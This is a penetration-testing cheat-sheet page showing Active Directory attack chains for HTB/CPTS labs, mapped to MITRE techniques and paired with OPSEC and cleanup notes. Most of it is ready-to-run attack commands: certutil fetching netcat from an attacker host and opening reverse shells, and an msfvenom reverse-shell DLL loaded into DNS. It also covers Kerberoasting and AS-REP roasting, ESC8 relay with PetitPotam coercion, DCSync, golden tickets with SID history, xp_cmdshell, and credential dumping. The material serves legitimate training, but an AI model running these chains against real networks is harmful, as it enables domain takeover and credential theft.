FLOW^:Pentest Workflow

Appendix — Worked Chains

Pentest attack-flow reference for appendix — worked chains in an authorised engagement.

advancedupdated 2026-08-29NetExec · Impacket · BloodHound CE · Certipy

[!dashboard] Attack-flow navigation Dashboard: HTB Pentest Attack Flow

Section: 16 of 17 · Focus: Appendix — Worked Chains

Previous: Stage 11 — Documentation and Reporting · Next: Tool Index


🧬 APPENDIX — Worked Chains (real boxes, stage-mapped)

The guide is organised by technique; this is the other axis — how the techniques compose on real boxes. Each chain is annotated with the guide’s stages [S#] so you can see the pattern and jump to the deep section. Pattern-recognition beats memorising commands: most AD boxes are enum → a foothold cred → BloodHound → one ACL/roast edge → DCSync.

Stage map: [S0]=Passive Recon · [S1]=Host Discovery · [S2]=Web · [S3]=Service Enum · [S4]=AD Enum · [S5]=Kerberos · [S6]=ACL Abuse · [S7]=ADCS · [S8]=Passwords · [S9]=PrivEsc · [S10]=Lateral/Loot · Trusts=Cross-Forest.

[!tip] The universal AD shape [S1] scan → [S3/S4] null/anon enum for users+shares → a first credential (share loot, AS-REP roast, password in a description, a poisoned hash) → [S4] BloodHound as that user → [S5/S6/S7] the one edge that escalates (roast / ACL / delegation / ESC) → [S10] DCSync + PtH the Administrator. Every new cred = re-run BloodHound.

Universal AD chainTD
Web foothold
Local privesc
AD enum + BloodHound
Kerberoast
ACL edge
ADCS ESC
Relay / RBCD
DCSync / DA
Cross-forest via trusts

[!warning] Authorized lab use All chains below assume an authorized HTB/CPTS-style lab. Every AD write (ACEs, SPNs, RBCD, shadow creds) is reversible — record what you change and revert it (Stage 06 OPSEC).


Chain A — External web → foothold → privesc → DA (kerberoast + ESC8)

The classic CPTS capstone shape: internet-facing web app on a domain-joined host, then the full internal AD grind. MITRE: T1190 (Exploit Public-Facing Application) → T1558.003 (Kerberoasting) → T1649 (ESC8).

  1. [S0/S1] Recon. Subdomains, ports, vhosts:
    nmap -sCV -p- --min-rate 2000 -oA full $IP
    ffuf -u http://$TARGET -H "Host: FUZZ.$TARGET" -w $SECLISTS/Discovery/DNS/subdomains-top1million-5000.txt
  2. [S2] Web → RCE. Enumerate the app (ffuf dirs, tech fingerprint, known CVE). Upload a webshell matched to the stack — stage from the toolkit: nt-webshell-rosepine.aspx (SHA-256 · GPG signature) for IIS, rp-shell.php (SHA-256 · GPG signature) for PHP, rp-shell.jsp (SHA-256 · GPG signature) for Tomcat (classic ASP: rp-shell.asp (SHA-256 · GPG signature)).
    certutil -urlcache -split -f http://$LHOST:8000/nc64.exe C:\Windows\Temp\nc64.exe
    C:\Windows\Temp\nc64.exe $LHOST 443 -e cmd.exe
    Toolkit: nc64.exe (SHA-256 · GPG signature)
  3. [S9] Local privesc (if the shell lands as a service account — often iis apppool\... with SeImpersonatePrivilege):
    .\GodPotato-NET4.exe -cmd "C:\Windows\Temp\nc64.exe $LHOST 444 -e cmd.exe"
    Toolkit: GodPotato-NET4.exe (SHA-256 · GPG signature) (or GodPotato-NET35.exe, PrintSpoofer64.exe, SweetPotato.exe — pick per OS build/Spooler state; see Stage 09).
  4. [S4] BloodHound as the foothold user/machine:
    bloodhound-ce-python -d $DOMAIN -u "$U" -p "$P" -ns $DCIP -c All --zip
    On-host alternative: SharpHound.zip (SHA-256 · GPG signature)
  5. [S5] Kerberoast an SPN account visible in the graph:
    GetUserSPNs.py "$DOMAIN/$U:$P" -dc-ip $DCIP -request -outputfile kerb.hash
    hashcat -m 13100 kerb.hash $ROCKYOU -r /usr/share/hashcat/rules/best64.rule
    Deep dive: Stage 05.
  6. [S7] The cracked service account can reach AD CS. Find and exploit ESC8 (web enrollment + no EPA):
    certipy-ad find -u "$U@$DOMAIN" -p "$P" -dc-ip $DCIP -vulnerable -stdout
    ntlmrelayx.py -t http://ca.$DOMAIN/certsrv/certfnsh.asp -smb2support --adcs --template DomainController
    PetitPotam.py -u "$U" -p "$P" -d $DOMAIN $LHOST $DCIP    # coerce DC auth to the relay
    Toolkit: PetitPotam.py (SHA-256 · GPG signature) · certipy: Certipy · relay: Impacket ntlmrelayx.
  7. [S10] Use the relayed DC cert → DCSync: the relay already dropped DC01$.pfx — no manual req needed (the DomainController template has no enrollee-supplies-subject anyway):
    certipy-ad auth -pfx 'DC01$.pfx' -dc-ip $DCIP       # -> DC01$ NT hash (+TGT)
    secretsdump.py "$DOMAIN/DC01\$@$DC" -hashes :$NT -just-dc   # DCSync as the DC itself
  8. Document & revert. Capture proof (secretsdump output, cert request IDs), remove the webshell and staged binaries, log ESC8 remediation (Stage 11).

[!example] When to reach for this chain Any box where the only ingress is 80/443 and the DC is not directly reachable. The web foothold host is your pivot into [S4].

[!opsec] Detection notes Webshells (T1505.003) are the #1 caught artifact — use a random name, delete after. Coercion + relay (T1187, T1557.001) fires Defender for Identity and creates Event 4768/4769 anomalies. ESC8 cert requests appear on the CA — note request IDs for cleanup.


Chain B — ASREPRoast → GenericWrite → targeted kerberoast → DCSync

No creds needed to start; pure identity attacks. MITRE: T1558.004 (AS-REP Roasting) → T1558.003 → T1003.006 (DCSync).

  1. [S4] Build a user list without creds:
    kerbrute userenum --dc $DCIP -d $DOMAIN $SECLISTS/Usernames/xato-net-10-million-usernames.txt
    enum4linux-ng -A $IP | tee enum.txt     # or rpcclient -U "" -N → enumdomusers
    Toolkit: kerbrute_linux_amd64 (SHA-256 · GPG signature)
  2. [S5] AS-REP roast the list (Stage 05):
    GetNPUsers.py $DOMAIN/ -usersfile users.txt -no-pass -dc-ip $DCIP -outputfile asrep.hash
    hashcat -m 18200 asrep.hash $ROCKYOU
  3. [S4] BloodHound as the cracked user (bloodhound-ce-python -c All) — the graph shows GenericWrite on a privileged service account (e.g. svc_sql).
  4. [S6] Targeted kerberoast — write an SPN onto the victim, roast it, clean up:
    targetedKerberoast.py -d $DOMAIN -u "$U" -p "$P" --request-user svc_sql -o targeted.hash
    hashcat -m 13100 targeted.hash $ROCKYOU
    Toolkit: targetedKerberoast.py (SHA-256 · GPG signature) — it removes the SPN afterwards; verify anyway (Get-ADUser svc_sql -Properties servicePrincipalName).
  5. [S6] The cracked svc_sql has GenericAll/WriteDACL on a DA-path group (or the domain root). Add DCSync rights:
    bloodyAD --host $DCIP -d $DOMAIN -u "$U" -p "$P" add dcsync svc_sql
    # or: dacledit.py -action write -rights DCSync -principal svc_sql -target-dn "DC=corp,DC=local" "$DOMAIN/$U:$P" -dc-ip $DCIP
    On-host equivalent: StandIn_v13_Net35_45.zip (SHA-256 · GPG signature)
  6. [S10] DCSync and PtH:
    secretsdump.py "$DOMAIN/svc_sql:$P@$DC" -just-dc-user administrator
    evil-winrm -i $DCIP -u administrator -H $NT
  7. Revert: remove the DCSync ACE (bloodyAD remove dcsync svc_sql), confirm the SPN cleanup, log it.

[!warning] Pitfalls

  • AS-REP hash mode is 18200, not 13100 — read the $krb5asrep$ prefix.
  • GenericWrite ≠ instant roast: you need the SPN write (targetedKerberoast) or shadow credentials (pywhisker / Whisker.exe (SHA-256 · GPG signature)).
  • WriteDACL on the domain root → DCSync; on a user → targeted roast/shadow creds; on a group → add member. Pick per object type.

Chain C — No creds at all: LLMNR poison → relay → LDAP → RBCD

For flat networks where SMB signing is off and LDAP signing/channel binding aren’t enforced. MITRE: T1557.001 (LLMNR/NBT-NS Poisoning) → T1003.006 via delegation abuse.

  1. [S3] Poison and capture (Stage 03):
    sudo responder -I eth0 -dwv
    # Windows-side when already on a host: Inveigh
    Toolkit: Inveigh.ps1 (SHA-256 · GPG signature) (Invoke-Inveigh -ConsoleOutput Y).
  2. Crack any NetNTLMv2 that drops (hashcat -m 5600) — even one weak user unlocks [S4] BloodHound.
  3. [S3] Relay instead of crack — check signing first:
    nxc smb $SUBNET --gen-relay-list relay.txt     # hosts with signing disabled
  4. Relay to LDAP(S) → configure RBCD. Start ntlmrelayx and drop a controlled machine account (Stage 06):
    ntlmrelayx.py -t ldap://$DCIP -smb2support --delegate-access --escalate-user 'EVILPC$' -l loot
    addcomputer.py -computer-name 'EVILPC$' -computer-pass 'Ev1lPass!' "$DOMAIN/$U:$P" -dc-ip $DCIP  # if MAQ>0 and no relay create
    Trigger a lookup (responder -I eth0 + browse, or coerce with PetitPotam/Coercer) and the victim machine’s msDS-AllowedToActOnBehalfOfOtherIdentity now trusts EVILPC$.
  5. [S5] S4U2Self → S4U2Proxy — impersonate Administrator to the victim:
    getST.py "$DOMAIN/EVILPC$:Ev1lPass!" -spn cifs/victim.$DOMAIN -impersonate administrator -dc-ip $DCIP
    export KRB5CCNAME=administrator@cifs_victim.$DOMAIN@$DOMAIN.ccache
    psexec.py -k -no-pass victim.$DOMAIN
  6. [S10] Loot & pivot: secretsdump.py -k the victim, pivot onward with ligolo-ng — ligolo-ng_agent_linux_amd64.tar.gz (SHA-256 · GPG signature) / ligolo-ng_agent_windows_amd64.zip (SHA-256 · GPG signature) + chisel.exe (SHA-256 · GPG signature) / chisel_linux_amd64 (SHA-256 · GPG signature).

[!opsec] Relay caveats Relaying is loud: LLMNR/NBT-NS broadcasts + auth coercion are textbook Defender for Identity / honeypot bait (T1557.001). Never relay to a DC unless the engagement says so; never disable the Spooler service as a “fix” on a production box. LDAP relay requires LDAP signing off and (for LDAPS) channel binding off — check with nxc ldap $DCIP -u '' -p '' -M ldap-checker style modules before burning time.


Chain D — DA in child domain → forest root → cross-forest (SID history)

The trusts capstone. MITRE: T1134 (SID-History Injection), T1550.003 (PtT). Deep dive: Domain Trusts and Cross-Forest.

  1. Map the trust topology (on-host: nltest /domain_trusts, or PowerView Get-DomainTrust — PowerView.ps1 (SHA-256 · GPG signature)):
    ldeep ldap -u "$U" -p "$P" -d child.$DOMAIN -s ldap://$DCIP trusts
  2. Child → parent (intra-forest). Trust key → golden ticket with SID history (Enterprise Admins RID 519):
    lookupsid.py "$DOMAIN/$U:$P@$DCIP" | head -3     # child domain SID
    secretsdump.py child/administrator@child-dc.child.$DOMAIN -just-dc-user 'CHILD\krbtgt' -hashes :$NT
    ticketer.py -nthash <KRBTGT_NT> -domain child.$DOMAIN -domain-sid S-1-5-21-... -extra-sid S-1-5-21-<PARENT>-519 administrator
    raiseChild.py child.$DOMAIN/$U:"$P"     # one-shot alternative
    export KRB5CCNAME=administrator.ccache
    secretsdump.py -k parent.$DOMAIN/administrator@parent-dc.parent.$DOMAIN -just-dc
  3. Forest → trusting forest (external/forest trust). From DA in forest A, dump the trust account hash for forest B:
    mimikatz.exe "lsadump::trust /patch" "exit"
    # or: secretsdump.py ... (trust accounts end in '$', e.g. TRUSTEDDOM$)
    ticketer.py -nthash <TRUST_NT> -domain forest-a.local -domain-sid S-1-5-21-A -extra-sid S-1-5-21-B-519 administrator
    Toolkit: mimikatz_trunk.zip (SHA-256 · GPG signature)
  4. [S10] Consume the ticket in the trusting forest: KRB5CCNAME=... secretsdump.py -k admin@dc.forest-b.local -just-dc.

[!warning] Gotchas

  • SID filtering on external trusts strips SIDs <1000 from other forests — but intra-forest (parent↔child) never filters, which is why child→root always works. Extra SID -519 (Enterprise Admins) for intra-forest; for cross-forest you may be limited to RIDs ≥1000 — inject a known admin group RID from forest B instead.
  • RC4 trust keys are the norm; if KDC_ERR_ETYPE_NOSUPP, use AES (-aesKey).
  • Trust tickets are time-sensitive — faketime/ntpdate first (Dashboard Quick Setup).

SQL Server is a privilege-escalation engine when links and sysadmin line up. MITRE: T1505.001 (SQL Stored Procedures) → T1134 (Token Impersonation).

  1. [S3] Find MSSQL and authenticate (creds from spray/roast/loot):
    nxc mssql $SUBNET -u "$U" -p "$P" --local-auth
    mssqlclient.py "$DOMAIN/$U:$P@$IP" -windows-auth
  2. Enable xp_cmdshell for a command channel:
    EXEC sp_configure 'show advanced options',1; RECONFIGURE;
    EXEC sp_configure 'xp_cmdshell',1; RECONFIGURE;
    EXEC xp_cmdshell 'whoami';
    Or directly from nxc: nxc mssql $IP -u "$U" -p "$P" --local-auth -x whoami.
  3. Enumerate linked servers and impersonate along the chain:
    EXEC sp_linkedservers;
    SELECT IS_SRVROLEMEMBER('sysadmin');
    EXEC ('EXEC sp_configure ''xp_cmdshell'',1; RECONFIGURE') AT LINKED02;
    EXEC ('EXEC xp_cmdshell ''whoami''') AT LINKED02;
    nxc shortcut: nxc mssql $IP -u "$U" -p "$P" -M mssql_priv (finds impersonation paths). Each hop may re-authenticate as a more privileged login — walk links until you land sysadmin on a high-value box. Metasploit’s mssql_linkcrawler automates the crawl.
  4. [S9] SeImpersonate → SYSTEM. SQL service accounts (nt service\mssqlserver) almost always hold SeImpersonatePrivilege:
    .\GodPotato-NET4.exe -cmd "net localgroup administrators $U /add"
    Toolkit: GodPotato-NET4.exe (SHA-256 · GPG signature) — fallbacks: PrintSpoofer64.exe (SHA-256 · GPG signature) (needs Spooler running), SweetPotato.exe (SHA-256 · GPG signature), legacy JuicyPotato.exe (SHA-256 · GPG signature) on pre-2019 builds.
  5. [S10] Loot the host: dump local creds with LaZagne.exe (SHA-256 · GPG signature), DPAPI blobs with SharpDPAPI.exe (SHA-256 · GPG signature), then hunt domain shares with Snaffler.exe (SHA-256 · GPG signature) — SQL boxes often hold connection strings with cleartext domain creds, feeding you back to [S4].

[!tip] CPTS exam tip MSSQL on 1433 with weak/linked creds is a favourite CPTS escalation. Always check sp_linkedservers and impersonation before reaching for kernel exploits — the intended path is usually one EXEC ... AT LINK away.


Chain F — HTB box patterns (Forest · Resolute · Fluffy)

Forest — AS-REP → Exchange-perms WriteDACL → DCSync

  1. [S3] RPC/LDAP null session lists domain users (rpcclient -U "" -N → enumdomusers).
  2. [S5] svc-alfresco has no Kerberos preauth → AS-REP roast (GetNPUsers.py -no-pass) → crack (hashcat -m 18200 against $ROCKYOU).
  3. [S4] BloodHound as svc-alfresco: it’s in Account Operators + Exchange Windows Permissions (WriteDACL on the domain root).
  4. [S6] grant self DCSync (dacledit.py -action write -rights DCSync / bloodyAD add dcsync).
  5. [S10] secretsdump.py -just-dc → PtH Administrator (evil-winrm -H $NT). Note: HTB-Forest.

Resolute — password in a description → spray → DnsAdmins DLL → SYSTEM

  1. [S4] LDAP/RPC enum surfaces a cleartext password in a user description field (Welcome123!) — always grep descriptions and info fields (Stage 04).
  2. [S8] spray it across all users (nxc smb $DCIP -u users.txt -p 'Welcome123!' --continue-on-success) → hits melanie (Stage 08).
  3. [S10] WinRM in (evil-winrm -u melanie -p ...) → hunt the host, find creds for ryan (registry AutoLogon, console history).
  4. ryan is in DnsAdmins → [S9] load a malicious DLL into the DNS service:
    msfvenom -p windows/x64/shell_reverse_tcp LHOST=$LHOST LPORT=443 -f dll > rev.dll
    dnscmd $DC /config /serverlevelplugindll \\$LHOST\smb\rev.dll
    sc \\$DC stop dns && sc \\$DC start dns
    → SYSTEM on the DC. Note: Resolute.

Fluffy — file-format NTLM capture → Shadow Creds → ADCS

  1. [S3] writable SMB share → drop a malicious .library-ms (CVE-2025-24071) so opening the share coerces NTLM auth → capture with Responder.
  2. [S8] crack j.fleischman (hashcat -m 5600).
  3. [S4] BloodHound: GenericWrite onto service accounts.
  4. [S6] Shadow Credentials (bloodyAD add shadowCredentials / pywhisker) to take winrm_svc, then again onto ca_svc. On-host equivalent: Whisker.exe (SHA-256 · GPG signature).
  5. [S7] ca_svc can enroll a vulnerable template → ADCS ESC (certipy-ad find -vulnerable → req → auth) → auth as DA → [S10] own the domain. Notes: HTB-Fluffy · Fluffy Attack Plan.

The web-to-AD pattern (many CPTS/AEN boxes)

[S0/S2] external recon + web enum finds an app → [S2] an app-specific exploit (upload/LFI/known-CVE/thick-client creds) → foothold shell on a domain-joined host → [S9] local privesc if needed → [S4] you’re now inside AD: BloodHound + LDAP cookbook as the machine/user → follow the AD shape above. The Attacking Enterprise Networks capstone is exactly this, end to end — see that sheet for the full INLANEFREIGHT chain written out command by command. Chain A above is this pattern written out step by step.

[!note] More box notes to mine for patterns Garfield (Season 10), the Pro-Lab chains (Dante, Zephyr), and the AD Track. Same shape scaled up: multiple hosts, pivots between segments (Stage 10), and trusts (Cross-Forest) once you’re DA in the first domain.

[!example] Pattern-recognition cheat table

BoxFirst credEscalation edgeDA via
ForestAS-REP roast (svc-alfresco)Exchange WriteDACL on domainDCSync
ResoluteDescription-field password → sprayDnsAdminsMalicious DNS plugin DLL
FluffyNTLM capture via .library-msGenericWrite → Shadow CredsADCS ESC enroll
Typical CPTSShare loot / kerberoastOne ACL or ESC edgeDCSync + PtH

[!navigation] Continue the attack flow Previous: Stage 11 — Documentation and Reporting

Dashboard: HTB Pentest Attack Flow

Next: Tool Index

On this page

☧ CPTS · ordered posts

Locked

Unlock with your Main_Key through local GPG.

Start the local GPG helper

In your cheatsheet checkout, run:

npm run unlock:helper

Open the link it prints, or paste its pairing code below. Keep the terminal open until GPG finishes.

Import an index you already decrypted

Download the encrypted index, then decrypt with GPG:

gpg --output report-index.json --decrypt report-index.gpg

Your private key stays in GPG. The decrypted index is saved in this browser so you can reopen it after navigation, refreshes and restarts. Lock this browser or clear this site's browser data to remove the saved index. Nothing is uploaded.